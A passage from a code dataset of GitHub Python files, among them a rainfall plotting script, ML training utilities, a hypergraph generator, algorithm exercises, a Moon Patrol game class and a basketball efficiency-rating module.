inline = False)\n            vipEmbed.add_field(name = f\"『🔊』Seu canal:\", value = userChannel, inline = False)\n            vipEmbed.add_field(name = f\"『👥』Amigos:\", value = userFriends, inline = False)\n            vipEmbed.set_thumbnail(url = ctx.author.display_avatar.url)\n            vipEmbed.set_footer(text = f\"Pedido por {ctx.author.name}\", icon_url = ctx.author.display_avatar.url)\n            await ctx.reply(embed = vipEmbed)\n            return\n        except Exception as e:\n            print(e)\n    \nasync def setup(bot):\n    print(f\"{prefix}vip\")\n    await bot.add_cog(cog_vip(bot))","repo_name":"EricNunes0/Any","sub_path":"commands/mod/vip.py","file_name":"vip.py","file_ext":"py","file_size_in_byte":4077,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"72012166501","text":"#!/home/fengxiang/anaconda3/envs/wrfout/bin/python\n# -*- encoding: utf-8 -*-\n'''\nDescription:\n郑州站逐小时降水变化柱状图\n画累积降水的柱状图\n-----------------------------------------\nTime             :2021/06/04 14:32:20\nAuthor          :Forxd\nVersion          :1.0\n'''\n\n# %%\nimport xarray as xr\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom cycler import cycler\nimport datetime\nimport sys,os\nimport xarray as xr\nimport numpy as np\nimport pandas as pd\n\nimport salem  # 插值\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeat\nfrom cartopy.mpl.ticker import LongitudeFormatter, LatitudeFormatter\nfrom cartopy.io.shapereader import Reader, natural_earth\nimport matplotlib as mpl\nfrom matplotlib.path import Path\nimport seaborn as sns\n# import matplotlib.patches as patches\nimport matplotlib.pyplot as plt\nimport geopandas\nimport cmaps\nfrom get_cmap import get_cmap_rain2\nfrom multiprocessing import Pool\n\n## 显示中文\nplt.rcParams['font.family'] = ['sans-serif']\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\n\n# %%\n\ndef get_rain_zhenzhou():\n    df_station = pd.read_csv('/mnt/zfm_18T/fengxiang/HeNan/Data/OBS/rain_station.csv')\n    df = df_station\n    df1 = df[(df['id']==57083)]\n    df2 = pd.DataFrame(df1, columns=['time','lon', 'lat', 'data0'])\n    df2['time'] = pd.to_datetime(df2['time'])\n    da = xr.DataArray(\n        df2['data0'].values,\n        coords={\n            'time':df2['time'].values,\n            'lon':df2['lon'].values[0],\n            'lat':df2['lat'].values[0],\n        },\n        dims=['time'],\n    )\n    return da\n\ndef draw_bar(dazz, damax):\n    # da = da.sel(time=slice('2021-07-19 12', '2021-07-21 12'))\n    da = dazz\n    fig = plt.figure(figsize=(14, 8))\n    ax = fig.add_axes([0.1,0.15,0.85, 0.79])\n    # ax.bar(da.time, da)\n    # import datetime\n    tt = da.time.dt.strftime('%d/%H')\n    x_label = tt\n    ax.bar(tt, da, label='郑州')\n    ax.plot(tt, damax, color='red',lw=1.5,  label='最大降水站点')\n    # ax.hlines(y=30, xmin=tt[0], xmax=tt[-1])\n    ax.axhline(y=30, color='black')\n    ax.set_xlim(tt[0], tt[-1])\n    # ax.hlines(y=30, xmin=tt[0], xmax=tt[-1])\n    # ax.plot(tt, da)\n    ax.set_xticks(x_label[::4],)  # 这个是选择哪几个坐标画上来的了,都有只是显不显示\n    ax.set_yticks(np.arange(0, 220+1, 20))\n\n    ax.xaxis.set_tick_params(labelsize=2.0*12, rotation=30)\n    ax.yaxis.set_tick_params(labelsize=2.0*12)\n    ax.tick_params(which='major',length=8,width=1.0) # 控制标签大小 \n    ax.tick_params(which='minor',length=4,width=0.5)  #,colors='b')\n    ax.xaxis.set_minor_locator(plt.MultipleLocator(1))\n    ax.yaxis.set_minor_locator(plt.MultipleLocator(10))\n    ax.set_title('逐小时降水', fontsize=32)\n    ax.set_xlabel('Date/Hour (UTC)', fontsize=26)\n    ax.set_ylabel('Precip (mm)', fontsize=26)\n    ax.legend(fontsize=20, edgecolor='white')\n    fig_path = '/mnt/zfm_18T/fengxiang/HeNan/Draw/picture_rain/'\n    fig_name = 'obs_rian_time_sequence.png'\n    fig.savefig(fig_path+fig_name)\n\n\ndef get_max_station():\n    \"\"\"读取csv格式的站点数据\n\n    Args:\n        df_station (DataFrame): 输入csv格式站点数据\n\n    Returns:\n        [DataArray]: 小时雨强最大值\n    \"\"\"\n    ## 才读的数据，它的时间格式是object\n    df_station = pd.read_csv('/mnt/zfm_18T/fengxiang/HeNan/Data/OBS/rain_station.csv')\n    # df_station = get_max_dataframe(aa)\n    df_station['time']= pd.to_datetime(df_station['time'])\n    t = pd.date_range(start='2021-07-18 00', end='2021-07-21 12', freq='1H')\n    rain_list = []\n    for tt in t:\n        cc = df_station[df_station['time']==tt]\n        rain_max = cc[(cc['lat']>32)&(cc['lat']<37)&(cc['lon']>110)&(cc['lon']<116)]['data0'].max()\n        # rain_max = cc[(cc['lat']>32)&(cc['lat']<37)&(cc['lon']>110)&(cc['lon']<116)]['data0'].mean()\n        rain_list.append(rain_max)\n    rain_list\n    ps = pd.Series(rain_list, index=t)\n    da = xr.DataArray.from_series(ps)\n    rain_obs_max = da.rename({'index':'time'})\n    return rain_obs_max\n\ndef get_rain():\n    \"\"\"获得郑州站降水\n    河南区域最大降水\n    Returns:\n        [type]: [description]\n    \"\"\"\n    dazz = get_rain_zhenzhou()\n    dazz = dazz.sel(time=slice('2021-07-19 00', '2021-07-21 08'))\n    damax = get_max_station()\n    damax = damax.sel(time=slice('2021-07-19 00', '2021-07-21 08'))\n    ## 因为郑州站有部分时次的值是0，没有在列表中\n    t1 = dazz.time\n    t2 = damax.time\n    rain = xr.Dataset()\n    rain = xr.concat([damax, dazz], pd.Index(['max', 'zz'], name='model'))\n    da_rain = rain.fillna(0)\n    ds_rain = da_rain.to_dataset(dim='model')\n    return ds_rain\n\n\nif __name__ == '__main__':\n    \n    ds_rain = get_rain()\n    draw_bar(ds_rain['zz'], ds_rain['max'])\n","repo_name":"xiaofeifei00123/HeNan","sub_path":"Draw/draw_sum_rain_bar.py","file_name":"draw_sum_rain_bar.py","file_ext":"py","file_size_in_byte":4793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19739871782","text":"from __future__ import annotations\n\nfrom .app import TestApp\nfrom .client import QuartClient\nfrom .connections import WebsocketResponse\nfrom .utils import (\n    make_test_body_with_headers,\n    make_test_headers_path_and_query_string,\n    no_op_push,\n    sentinel,\n)\n\n__all__ = (\n    \"make_test_body_with_headers\",\n    \"make_test_headers_path_and_query_string\",\n    \"no_op_push\",\n    \"QuartClient\",\n    \"sentinel\",\n    \"TestApp\",\n    \"WebsocketResponse\",\n)\n","repo_name":"hoshinojyunn/MyBot","sub_path":"Lib/site-packages/quart/testing/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"12957268122","text":"#i dont know. i missed some logic there. if anyone found tat implement it\r\ndef lststr(m):\r\n    str1 = \"\"\r\n    for ele in m:\r\n        str1 += ele\r\n    return str1\r\ncode = input()\r\nN = int(input())\r\nf = []\r\nq = []\r\nr= dict()\r\nm = []\r\n\r\nfor i in range(N):\r\n    x = []\r\n    y = []\r\n    lst = []\r\n    p = str(input())\r\n    q = p.split()\r\n    for j in q:\r\n        b = list(j)\r\n        lst.append(b)\r\n    x.append(lst[0])\r\n    x = [item for items in x for item in items]\r\n    y.append(lst[1])\r\n    y = [item for items in y for item in items]\r\n    wordbag = dict(zip(x, y))\r\n    #print(wordbag)\r\n    r.update(wordbag)\r\n\r\ncode = list(code)\r\nr.keys()\r\nfor k in code:\r\n    if k in r.keys():\r\n        m.append(r[k])\r\n        #print(m)\r\nprint(lststr(m))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"sujithrex/Secreat-Code-Codevita-9-Solution","sub_path":"Secreat Code Codevita 9 Solution.py","file_name":"Secreat Code Codevita 9 Solution.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20231934528","text":"\"\"\"Create training and evaluation engines\"\"\"\nfrom typing import Tuple, Any, TypeVar\n\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom ignite.contrib.handlers import TensorboardLogger\nfrom ignite.engine import (create_supervised_evaluator,\n                           create_supervised_trainer, Engine)\nfrom ignite.metrics import Loss\nfrom torch import Tensor, nn\nfrom torch.utils.data.dataloader import DataLoader\n\nfrom imagedl import Config\nfrom imagedl.config import TestConfig\nfrom imagedl.data import Split\nfrom imagedl.nn.update_funs import update_functions\nfrom .data import prepare_batch\nfrom .logger import info\nfrom .metric_handling import metrics_to_str, clean_metrics\n\nT_co = TypeVar('T_co', covariant=True)\n\n\ndef evaluator(test_config: TestConfig, criterion: nn.Module, model: nn.Module,\n              device: torch.device) -> Engine:\n    \"\"\"Create evaluator for validation\"\"\"\n    metrics, eval_metric, *_ = test_config\n    metrics['loss'] = Loss(criterion,\n                           output_transform=lambda data: (data[0], data[1]))\n    val_evaluator = create_supervised_evaluator(model, metrics, device,\n                                                prepare_batch=prepare_batch)\n    return val_evaluator\n\n\ndef evaluate(config: Config, test_dl: DataLoader[T_co], test_split: np.ndarray,\n             criterion: nn.Module, model: nn.Module,\n             device: torch.device, tb_logger: TensorboardLogger,\n             engine: Engine) -> pd.DataFrame:\n    \"\"\"Test evaluator\"\"\"\n    metrics, eval_metric, *_ = config.test\n    metrics['loss'] = Loss(criterion,\n                           output_transform=lambda x: (x[0], x[1]))\n    test_evaluator = create_supervised_evaluator(model, metrics, device)\n    test_evaluator.run(test_dl)\n    metric_values = test_evaluator.state.metrics\n    cleaned_metrics = clean_metrics(metrics, metric_values, config.legend)\n    df = pd.DataFrame(cleaned_metrics, index=[0])\n    df.to_csv(f'{config.job_dir}/metrics.csv', index=False)\n    info(f'Test - ' + metrics_to_str(metrics, test_evaluator.state.metrics,\n                                     config.legend, tb_logger,\n                                     engine.state.epoch + 1, 'test_'))\n\n    to_save = config.job_dir / 'test'\n    to_save.mkdir(parents=True, exist_ok=True)\n    with torch.no_grad():\n        model.eval()\n        batch_size = test_dl.batch_size if test_dl.batch_size is not None else 1\n        for i, data in enumerate(test_dl):\n            inp, out = prepare_batch(data, device)\n            pred = model(inp)\n            if isinstance(pred, torch.Tensor):\n                pred = pred.cpu()\n            else:\n                pred = [p.cpu() for p in pred]\n            img = config.visualize(inp, out, pred)\n            indexes = test_split[i * batch_size:(i + 1) * batch_size]\n            config.save_sample(img, to_save, indexes)\n    return df\n\n\ndef create_trainer(config: Config, device: torch.device, split: Split,\n                   own_split: bool) -> Tuple[Any, ...]:\n    \"\"\"Create training engine & load checkpoint\"\"\"\n    ret_type = Tuple[Tensor, Tensor, float]\n\n    def output_transform(x: Tensor, y: Tensor,\n                         y_pred: Tensor, loss: Tensor) -> ret_type:\n        \"\"\"What trainer returns to metrics at each step\"\"\"\n        return y_pred, y, loss.item()\n\n    model, optimizer_fn, criterion, checkpoint = config.model_config\n    model = model.to(device)\n    optimizer = optimizer_fn(model.parameters())\n    if optimizer.__class__ in update_functions:\n        update_function = update_functions[optimizer.__class__]\n        update = update_function(model, optimizer, criterion, device,\n                                 output_transform, prepare_batch)\n        trainer = Engine(update)\n    else:\n        trainer = create_supervised_trainer(model, optimizer, criterion, device,\n                                            prepare_batch=prepare_batch,\n                                            output_transform=output_transform)\n    if checkpoint is not None:\n        info(f'Resume from {checkpoint}')\n        obj = torch.load(str(checkpoint))\n        model.load_state_dict(obj['model'])\n        optimizer.load_state_dict(obj['optimizer'])\n        trainer.load_state_dict(obj['trainer'])\n        if not own_split:\n            split = Split.load_state_dict(obj['split'])\n    return model, optimizer, criterion, split, trainer\n","repo_name":"MalyshevValery/Image_Analysis_DL","sub_path":"imagedl/train_utils/engines.py","file_name":"engines.py","file_ext":"py","file_size_in_byte":4375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24031161409","text":"import numpy as np\nimport math\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n# This file is to initialize all the variables used in HyperType Model\n####################################################################################################\n#All Functions are below:\n####################################################################################################\n\n# parameters:\n#     int keyNumber, number of keys in the key list\n#     lst key_lst, a list consisting all the keys\n#     lst prob, a list consisting probability fo keys\n#     lst(3d) tensor, a 3 dimensional list of key combinations will be made after tensor_initialization is called\n#     lst(2d) pt, a probability table\n#     lst plst, a probability list\n#     lst elst, an entry list\n# tensor_initialization constructs the tensor (ten). After running, the procedure produces a tensor with combinations of\n#     keys at each entry, according to the entry's index. Probability list (plst) and entry list (elst) are also produced.\n\ndef tensor_initialization(keyNumber,key_lst,prob,tensor,pt,plst,elst):\n    for i in range(keyNumber):\n        tensor.append([])\n        pt.append([])\n        for j in range(keyNumber):\n            tensor[i].append([])\n            pt[i].append([])\n            for k in range(keyNumber):\n                word = (key_lst[i]+key_lst[j]+key_lst[k])\n                elst.append(word)\n                Probability = prob[i]*prob[j]*prob[k]\n                Probability = round(Probability,10)\n                tensor[i][j].append(word)\n                pt[i][j].append(Probability)\n\n\n# parameters (above mentioned parameters will not be introduced again):\n#     lst(2d) matrix, a 2 dimensional list of key combinations will be made after matrix_initialization is called\n#     lst(2d) pm, probability matrix\n#     lst mplst, probability list for the produced matrix\n#     lst melst, entry list for the produced matrix\n# matrix_initialization constructs the matrix (matrix). After running, the produre produces a matrix with combinations of two keys at\n#     each entry, according to the entry's index. Probability list (mplst) and entry list (melst) are also produced.\n\n\ndef matrix_initialization(keyNumber,key_lst,prob,matrix,pm,mplst,melst):\n    for i in range(keyNumber):\n        matrix.append([])\n        pm.append([])\n        for j in range(keyNumber):\n            word = (key_lst[i]+key_lst[j])\n            melst.append(word)\n            Probability = round(prob[i]*prob[j],10)\n            matrix[i].append(word)\n            pm[i].append(Probability)\n\n# print_tensor takes a tensor and the key number, and will print the entries in the tensor.\n\ndef print_tensor(ten,keyNumber):\n    for i in range(keyNumber):\n        for j in range(keyNumber):\n            print(ten[i][j][0], ten[i][j][1], ten[i][j][2])\n        print('\\n')\n\n# layerSum takes a tensor, the key number, and the layer index. It will return the sum of probability of a layer of tensor.\ndef layerSum(ten,keyNumber,lay):\n    sum = 0.0\n    for i in range(keyNumber):\n        for j in range(keyNumber):\n            sum = sum + ten[lay][i][j]\n\n    sum = round(sum,10)\n    return sum\n\n# rowSum takes a tensor, the key number, and the row index. It will sum up the probability of the desinated row for each layer, and return it.\ndef rowSum(ten,key,row):\n    sum = 0.0\n    for i in range(key):\n        for j in range(key):\n            sum = sum + ten[i][row][j]\n    sum = round(sum,10)\n    return sum\n\n# colSum takes a tensor, the key number, and the col index. It will sum up the probability of the desinated column for each layer, and return it.\ndef colSum(ten,key,col):\n    sum = 0.0\n    for i in range(key):\n        for j in range(key):\n            sum = sum + ten[i][j][col]\n    sum = round(sum,10)\n    return sum\n\n# colSum takes a tensor, the key number, and the row index. It will sum up the probability of the desinated row of mat, and return it.\ndef matrixRowSum(mat,key,row):\n    sum = 0.0\n    for i in range(key):\n        sum = sum + mat[row][i]\n    sum = round(sum,10)\n    return sum\n\n# parameters (above mentioned parameters will not be introduced again):\n#     float al, an imbalance parameter from 0 to 1.\n#     float be, an imbalance parameter from 0 to 1.\n# imbalance will decrease type 2 and 3 entries of ten by multipling probability on type 2 and 3 entries by be, and probability of type 3 entries by al again.\n#     Then type 1 entries will increase their probability by the amount that type 2 and 3 entries on their layers decreased.\n\ndef imbalance(ten,key,al,be,prob,plst): #tensor, keyNumber, alpha, beta\n    for i in range(key):\n        for j in range(key):\n            for k in range(key):\n                if (i != j and j != k and i != k):#white\n                    ten[i][j][k] = round(ten[i][j][k]*al*be,10)\n                elif(i == j == k):\n                    1\n                else:\n                    ten[i][j][k] = round(ten[i][j][k]*be,10)\n    for i in range(key):\n        ten[i][i][i] = ten[i][i][i]+(prob[i]-layerSum(ten,key,i))\n    for i in range(key):\n        for j in range(key):\n            for k in range(key):\n                plst.append(ten[i][j][k])\n\n# imbalanceMatrix will decrease type 2 entries of mat by multipling probability on type 2 entries by be.\n#     Then type 1 entries will increase their probability by the amount that type 2 entries on\n#     their layers decreased.\ndef imbalanceMatrix(mat,key,al,prob,mplst):#matrix, keyNumber, alpha\n    for i in range(key):\n        for j in range(key):\n            if(i != j):\n                mat[i][j] = round(mat[i][j]*al,10)\n    for i in range(key):\n        mat[i][i] = round(mat[i][i]+(prob[i]-matrixRowSum(mat,key,i)),10)\n    for i in range(key):\n        for j in range(key):\n            mplst.append(mat[i][j])\n\n\n#adding an edge with weights\ndef adding_edges(e1,e2,G):\n    if G.has_edge(e1,e2):\n        # we added this one before, just increase the weight by one\n        G[e1][e2]['weight'] += 1\n    else:\n        # new edge. add with weight=1\n        G.add_edge(e1,e2, weight=1)\n\n# parameters (above mentioned parameters will not be introduced again):\n#     grah G, a graph\n# make takes the probability lists and entry lists for tensor and matrix, and constructs a triple (a group of three words) based on those Probability\n#     and entries. A word is terminated if an space character is appended to it. When no word terminates, it chooses entries from ten; when one word terminates,\n#     it chooses entries from mat; when two words terminate, it chooses entries from prob (in this case will only choose one letter from key array); when all\n#     three words terminate, the triple will be added to G and returned.\ndef make(G,elst,plst,melst,mplst,key_lst,prob):\n    L1 = ''\n    L2 = ''\n    L3 = ''\n    T_L1 = True\n    T_L2 = True\n    T_L3 = True\n    TNum = 3\n\n    while(TNum == 3):\n        lst = np.random.choice(elst,1,p=plst)[0]\n\n\n        L1 = L1 + lst[0]\n\n        L2 = L2 + lst[1]\n\n        L3 = L3 + lst[2]\n\n        if (lst[0] == 's'):\n            T_L1 = False\n            TNum = TNum - 1\n        if (lst[1] == 's'):\n            T_L2 = False\n            TNum = TNum - 1\n        if (lst[2] == 's'):\n            T_L3 = False\n            TNum = TNum - 1\n\n\n\n    while(TNum == 2):\n        lst = np.random.choice(melst,1,p=mplst)[0]\n        if(T_L1 == False):\n            L2 = L2 + lst[0]\n            L3 = L3 + lst[1]\n            if(lst[0] == 's'):\n                T_L2 = False\n                TNum = TNum - 1\n            if(lst[1] == 's'):\n                T_L3 = False\n                TNum = TNum - 1\n        elif(T_L2 == False):\n            L1 = L1 + lst[0]\n            L3 = L3 + lst[1]\n            if(lst[0] == 's'):\n                T_L1 = False\n                TNum = TNum - 1\n            if(lst[1] == 's'):\n                T_L3 = False\n                TNum = TNum - 1\n        else:\n            L1 = L1 + lst[0]\n            L2 = L2 + lst[1]\n            if(lst[0] == 's'):\n                T_L1 = False\n                TNum = TNum - 1\n            if(lst[1] == 's'):\n                T_L2 = False\n                TNum = TNum - 1\n\n    while(TNum == 1):\n        lst = np.random.choice(key_lst,1,p=prob)[0]\n        if(T_L1 == True):\n            L1 = L1 + lst[0]\n        elif(T_L2 == True):\n            L2 = L2 + lst[0]\n        else:\n            L3 = L3 + lst[0]\n        if(lst[0]=='s'):\n            TNum = TNum - 1\n\n\n    #adding edges to Graph\n    if(L1!=L2):\n        adding_edges(L1,L2,G)\n    if(L1!=L3):\n        adding_edges(L1,L3,G)\n    if(L2!=L3):\n        adding_edges(L2,L3,G)\n    #in case all three nodes are the same\n    G.add_node(L1)\n\n    triple = []\n    triple.append(L1)\n    triple.append(L2)\n    triple.append(L3)\n    return triple\n\n\n# parameters (above mentioned parameters will not be introduced again):\n#     int triples, number of triples to generate\n# generate_graph will generate triples with make() for the desinated number of triples, and put nodes and edges into G.\n# For example, new_graph=generate_graph(G,10000,elst,plst,melst,mplst,key_lst,prob) will generate a new graph.\n\ndef generate_graph(G,triples,elst,plst,melst,mplst,key_lst,prob):\n    graph = []\n    for i in range(triples):\n        graph.append(make(G,elst,plst,melst,mplst,key_lst,prob))#\n    return graph\n\n# parameters (above mentioned parameters will not be introduced again):\n#     int nodes, number of nodes to generate\n# generate_graph_nodes will generate triples with make() for the desinated number of nodes, and put nodes and edges into G.\n# For example, new_graph=generate_graph_nodes(G,10000,elst,plst,melst,mplst,key_lst,prob) will generate a new graph.\n\ndef generate_graph_nodes(G,nodes,elst,plst,melst,mplst,key_lst,prob):\n    graph = []\n    while G.order()<nodes:\n        graph.append(make(G,elst,plst,melst,mplst,key_lst,prob))\n    return graph\n","repo_name":"ccming1006/HyperType-Model","sub_path":"src/initialization.py","file_name":"initialization.py","file_ext":"py","file_size_in_byte":9814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"42602127948","text":"\n\ndef permute(n):\n    if 1 < n <= 3:\n        return None\n    \n    perm = []\n    for i in range(2, n + 1, 2):\n        perm.append(i)\n\n    for i in range(1, n + 1, 2):\n        perm.append(i)\n\n    return perm\n\ndef main():\n    n = int(input())\n\n    perm = permute(n)\n    if perm:\n        print(*perm)\n    else:\n        print(\"NO SOLUTION\")\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"Howuhh/cs_algorithms","sub_path":"cses_problem_set/introductory/beautiful_permutations.py","file_name":"beautiful_permutations.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"71040427620","text":"# def numberOfBinaryTreeTopologies(n):\n#     if n == 0:\n#         return 1\n#     numberOfTrees =0\n#     for leftTreeSize in range(0,n):\n#         rightTreeSize = n - 1 - leftTreeSize\n#         numberOfTreeLeft = numberOfBinaryTreeTopologies(leftTreeSize)\n#         numberOfTreeRight = numberOfBinaryTreeTopologies(rightTreeSize)\n#         numberOfTrees+=numberOfTreeLeft*numberOfTreeRight\n#     return numberOfTrees\n\n\n# def numberOfBinaryTreeTopologies(n,cache={0:1}):\n#     if n in cache:\n#         return cache[n]\n#     numberOfTrees =0\n#     for leftTreeSize in range(0,n):\n#         rightTreeSize = n - 1 - leftTreeSize\n#         numberOfTreeLeft = numberOfBinaryTreeTopologies(leftTreeSize,cache)\n#         numberOfTreeRight = numberOfBinaryTreeTopologies(rightTreeSize,cache)\n#         numberOfTrees+=numberOfTreeLeft*numberOfTreeRight\n#     cache[n]=numberOfTrees\n#     return numberOfTrees\n\ndef numberOfBinaryTreeTopologies(n):\n    cache = [1]\n    for m in range(1, n+1):\n        numberOfTrees = 0\n        for leftTreeSize in range(m):\n            rightTreeSize = m-1-leftTreeSize\n            numberOfLeftTrees = cache[leftTreeSize]\n            numberOfRightTrees = cache[rightTreeSize]\n            numberOfTrees += numberOfLeftTrees * numberOfRightTrees\n        cache.append(\n            numberOfTrees\n        )\n    return cache[n]\n\n\nprint(numberOfBinaryTreeTopologies(3))\n","repo_name":"caleberi/algoexpert","sub_path":"numberOfBinaryTreeTopologies.py","file_name":"numberOfBinaryTreeTopologies.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"35"}
{"seq_id":"70079637860","text":"from Actor import Actor\nfrom random import randint, choice, random\nfrom Bullet import Bullet\nfrom Background import Background\nfrom Rover import Rover\nimport Constants\n\nalien_counter = 0 #static counter for the number of instances\n\nclass Alien(Actor):\n    def __init__(self, arena):\n        global alien_counter\n        if(alien_counter > Constants.MAX_ALIEN_NUMBER): return #if there are already the maxium number of alien\n        self._arena = arena\n        self._x = randint(Constants.ALIEN_WIDTH, self._arena.size()[0]-Constants.ALIEN_WIDTH)\n        self._y = randint(Constants.ALIEN_MIN_Y,Constants.ALIEN_MAX_Y)\n        self._w, self._h = Constants.ALIEN_WIDTH, Constants.ALIEN_HEIGHT\n        self._dx = Constants.ALIEN_SPEED\n        alien_counter += 1\n        arena.add(self)\n\n    def move(self):\n        if self._x + self._dx <= 0 or self._x + self._dx >= (self._arena.size()[0] - self._w): #change direction if border is touched\n            self._dx *= -1\n        if choice(range(Constants.CHANGE_DIRECTION_PROBABILITY)) == 0: #maybe it's time to change direction...\n            self._dx *= -1\n        if self.can_shoot(): #maybe it's time to shoot...\n            Bullet(self._arena, (self.position()[0], self.position()[1] + Constants.BULLET_HEIGHT), Constants.VERTICAL_A,self)\n            \n        self._x += self._dx\n\n    def is_out_of_canvas(self) -> bool:\n        return False\n\n    def collide(self, other):\n        if isinstance(other,Background): return\n\n        global alien_counter\n        if(isinstance(other,Bullet)) and isinstance(other.get_author(),Rover):\n            self._arena.remove(self)\n            alien_counter -= 1\n\n    def can_shoot(self) -> bool:\n        '''\n        returns true if the alien can shoot\n        the probability is about 1/20\n        '''\n        return  (choice(range(Constants.SHOOT_PROBABILITY))) == 0\n\n    def position(self)-> (int, int, int, int):\n        return self._x, self._y, self._w, self._h\n\n    def symbol(self) -> (int, int, int, int):\n        return Constants.ALIEN_X, Constants.ALIEN_Y, self._w, self._h\n","repo_name":"andberto/MoonPatrol","sub_path":"Alien.py","file_name":"Alien.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7122601515","text":"import numpy as np\nfrom utils import HCA\n\ndef get_wins_losses(game_df):\n    wins = {}\n    losses = {}\n    for idx, row in game_df.iterrows():\n        if row['margin'] > 0:\n            wins[row['team']] = wins.get(row['team'], 0) + 1\n            losses[row['opponent']] = losses.get(row['opponent'], 0) + 1\n        else:\n            losses[row['team']] = losses.get(row['team'], 0) + 1\n            wins[row['opponent']] = wins.get(row['opponent'], 0) + 1\n    return wins, losses\n\ndef get_offensive_efficiency(data):\n    off_eff = {}\n    for idx, row in data.iterrows():\n        home_points = row['team_score']\n        away_points = row['opponent_score']\n        pace = row['pace']\n        home_off_eff = home_points / pace\n        away_off_eff = away_points / pace\n        home = row['team']\n        away = row['opponent']\n        if home not in off_eff:\n            off_eff[home] = []\n        if away not in off_eff:\n            off_eff[away] = []\n        off_eff[row['team']].append(home_off_eff)\n        off_eff[row['opponent']].append(away_off_eff)\n    for team, off_effs in off_eff.items():\n        off_eff[team] = np.mean(off_effs)\n    return off_eff\n\ndef get_defensive_efficiency(data):\n    def_eff = {}\n    for idx, row in data.iterrows():\n        home_points = row['team_score']\n        away_points = row['opponent_score']\n        pace = row['pace']\n        home_def_eff = away_points / pace\n        away_def_eff = home_points / pace\n        home = row['team']\n        away = row['opponent']\n        if home not in def_eff:\n            def_eff[home] = []\n        if away not in def_eff:\n            def_eff[away] = []\n        def_eff[row['team']].append(home_def_eff)\n        def_eff[row['opponent']].append(away_def_eff)\n    for team, def_effs in def_eff.items():\n        def_eff[team] = np.mean(def_effs)\n    return def_eff\n\ndef get_adjusted_efficiencies(data, off_eff, def_eff):\n    '''\n    gets both adjusted defensive efficiency and adjusted offensive efficiency\n    TODO: use HCA\n    '''\n    adj_off_eff = off_eff.copy()\n    adj_def_eff = def_eff.copy()\n\n    average_pace = np.mean(data['pace'])\n    average_ppp = np.mean(data['team_score'] / data['pace'])\n\n    for loop in range(100):\n        off_eff_diffs = {team: [] for team in off_eff.keys()}\n        def_eff_diffs = {team: [] for team in off_eff.keys()}\n\n        game_offensive_efficiencies = {team: [] for team in off_eff.keys()}\n        game_defensive_efficiencies = {team: [] for team in off_eff.keys()}\n        for idx, row in data.iterrows():\n            team_ppp = row['team_score'] / row['pace']\n            opponent_ppp = row['opponent_score'] / row['pace']\n            team_game_adjusted_offensive_efficiency = team_ppp - (adj_def_eff[row['opponent']] + average_ppp)\n            team_game_adjusted_defensive_efficiency = opponent_ppp - (adj_off_eff[row['opponent']] + average_ppp)\n            opponent_game_adjusted_offensive_efficiency = opponent_ppp - (adj_def_eff[row['team']] + average_ppp)\n            opponent_game_adjusted_defensive_efficiency = team_ppp - (adj_off_eff[row['team']] + average_ppp)\n\n            game_offensive_efficiencies[row['team']].append(team_game_adjusted_offensive_efficiency)\n            game_defensive_efficiencies[row['team']].append(team_game_adjusted_defensive_efficiency)\n            game_offensive_efficiencies[row['opponent']].append(opponent_game_adjusted_offensive_efficiency)\n            game_defensive_efficiencies[row['opponent']].append(opponent_game_adjusted_defensive_efficiency)\n\n        for team, off_effs in game_offensive_efficiencies.items():\n            adj_off_eff[team] = np.mean(off_effs)\n        for team, def_effs in game_defensive_efficiencies.items():\n            adj_def_eff[team] = np.mean(def_effs)\n\n    mean_off_eff = np.mean(list(adj_off_eff.values()))\n    mean_def_eff = np.mean(list(adj_def_eff.values()))\n\n    adj_off_eff = {team: 100 * (off_eff - mean_off_eff) for team, off_eff in adj_off_eff.items()}\n    adj_def_eff = {team: 100 * (def_eff - mean_def_eff) for team, def_eff in adj_def_eff.items()}\n    return adj_off_eff, adj_def_eff\n\n\n            \ndef get_adjusted_offensive_efficiency(data, def_eff):\n    adj_off_eff = {team: [] for team in def_eff.keys()}\n    for idx, row in data.iterrows():\n        home_points = row['team_score']\n        away_points = row['opponent_score']\n        pace = row['pace']\n        away_def_eff = def_eff[row['team']]\n        home_def_eff = def_eff[row['opponent']]\n        home_adj_off_eff = home_points / pace - away_def_eff\n        away_adj_off_eff = away_points / pace - home_def_eff\n        adj_off_eff[row['team']].append(home_adj_off_eff)\n        adj_off_eff[row['opponent']].append(away_adj_off_eff)\n    for team, adj_off_effs in adj_off_eff.items():\n        adj_off_eff[team] = np.mean(adj_off_effs)\n    return adj_off_eff\n\ndef get_adjusted_defensive_efficiency(data, off_eff):\n    adj_def_eff = {team: [] for team in off_eff.keys()}\n    for idx, row in data.iterrows():\n        home_points = row['team_score']\n        away_points = row['opponent_score']\n        pace = row['pace']\n        away_off_eff = off_eff[row['team']]\n        home_off_eff = off_eff[row['opponent']]\n        home_adj_def_eff = away_points / pace - away_off_eff\n        away_adj_def_eff = home_points / pace - home_off_eff\n        adj_def_eff[row['team']].append(home_adj_def_eff)\n        